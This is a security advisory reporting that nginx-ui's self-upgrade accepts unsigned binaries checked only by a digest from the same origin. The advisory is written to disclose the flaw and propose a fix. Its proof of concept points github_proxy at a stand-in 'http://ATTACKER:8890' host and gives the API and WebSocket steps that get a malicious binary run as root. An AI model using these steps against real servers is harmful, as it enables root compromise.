Vulnerability GHSA-662p-52hx-cmh2

Summary

The self-upgrade downloads the release binary and its checksum (*.tar.gz and *.tar.gz.digest) through the SAME endpoint (version.GetUrl(), which is github_proxy or, by default, the project's cloud.nginxui.com mirror), and verifies the binary ONLY by comparing it to that digest: digestFileContent == DigestSHA512(tarName). Both the binary and the digest come from the same origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then replaces the running executable (selfupdate.CommitBinary) and the process restarts, so the binary runs as the nginx-ui user (typically root).

Because integrity rests only on a digest fetched from the same place as the binary, anyone who controls that download path can substitute a malicious binary plus a matching digest and obtain code execution as root on the next upgrade. Additionally, the github_proxy setting accepts http:// URLs, so the binary+digest can be fetched over cleartext.

Affected code

• internal/version/url.go GetUrl(path) = <github_proxy or cloud.nginxui.com>/<path> — used for BOTH the binary and the digest.
• internal/upgrader/upgrade.go DownloadLatestRelease: digest URL and binary URL are both wrapped with GetUrl(), fetched, and checked with digestFileContent == DigestSHA512(tarName). No signature verification anywhere in internal/upgrader/.
• selfupdate.CommitBinary then replaces the running binary; the process restarts.
• settings/http.go: GithubProxy accepts any URL (binding:"omitempty,url"), including http://.

Attack scenarios

A. Compromised mirror / CDN (primary). By default the binary+digest are routed through cloud.nginxui.com. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades, yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the mirror). A binary signature would prevent this. B. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of github_proxy; the field accepts http://, so the binary+digest are fetched in cleartext. An attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router) substitutes a malicious binary + matching digest -> root RCE on the next upgrade. C. (mechanism demonstration) An authenticated user sets github_proxy to a server they control and triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it is included only to demonstrate that an unsigned attacker binary is accepted and executed.

Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — mechanism

An attacker HTTP server serves any *.tar.gz -> a malicious tarball (whose nginx-ui is a script that writes a marker as whoever runs it) and any *.digest -> the SHA-512 of that tarball.

1. Set the download origin to the attacker server (here via github_proxy; in scenarios A/B this is instead a compromised mirror / MITM): POST /api/settings with http.github_proxy = http://ATTACKER:8890 -> 200. The field accepts the http URL.
2. Trigger the upgrade: WS GET /api/upgrade/perform, send {"channel":"stable"}.
3. Observed:
   • The attacker server received BOTH GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest and .../nginx-ui-linux-64.tar.gz (over cleartext http).
   • WS: "Downloading latest release" -> "Performing core upgrade" -> restart. The attacker tarball's digest matched (attacker supplied both) -> integrity check PASSED, no signature checked.
   • Inside the container: /tmp/UPGRADE_PWNED = UPGRADE_RCE_EXECUTED uid=0 -> the malicious binary replaced nginx-ui and EXECUTED AS ROOT.

Impact

Root code execution on upgrade. Realistically reached by compromising the trusted download source (mirror/CDN, scenario A — fleet-wide) or by MITM of a cleartext http proxy (scenario B). A cryptographic signature on the release binary would prevent all of these.

Honest scope / caveats

• Live-verified: the integrity-bypass MECHANISM — an unsigned binary plus a same-origin digest is accepted and executed as root, and the binary+digest are fetched over cleartext http when an http proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy).
• NOT staged (threat-model assumptions, not PoC artifacts): actually compromising cloud.nginxui.com / the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are standard attacker capabilities, marked here as analysis.
• The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to cloud.nginxui.com+GitHub plus the digest, so this is not "zero integrity" — the gap is the absence of a signature, which matters when the source is compromised or the transport is cleartext (http proxy).

Suggested fix

Verify the release binary against a cryptographic signature with a public key pinned in the nginx-ui binary (or a digest fetched over an independent, pinned channel), not a digest from the same origin as the binary. Reject http:// for github_proxy (require https). Consider treating github_proxy as a protected setting.

Dedup / novelty

Distinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup tampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade integrity (checked osv.dev and the GitHub advisory database). Appears novel.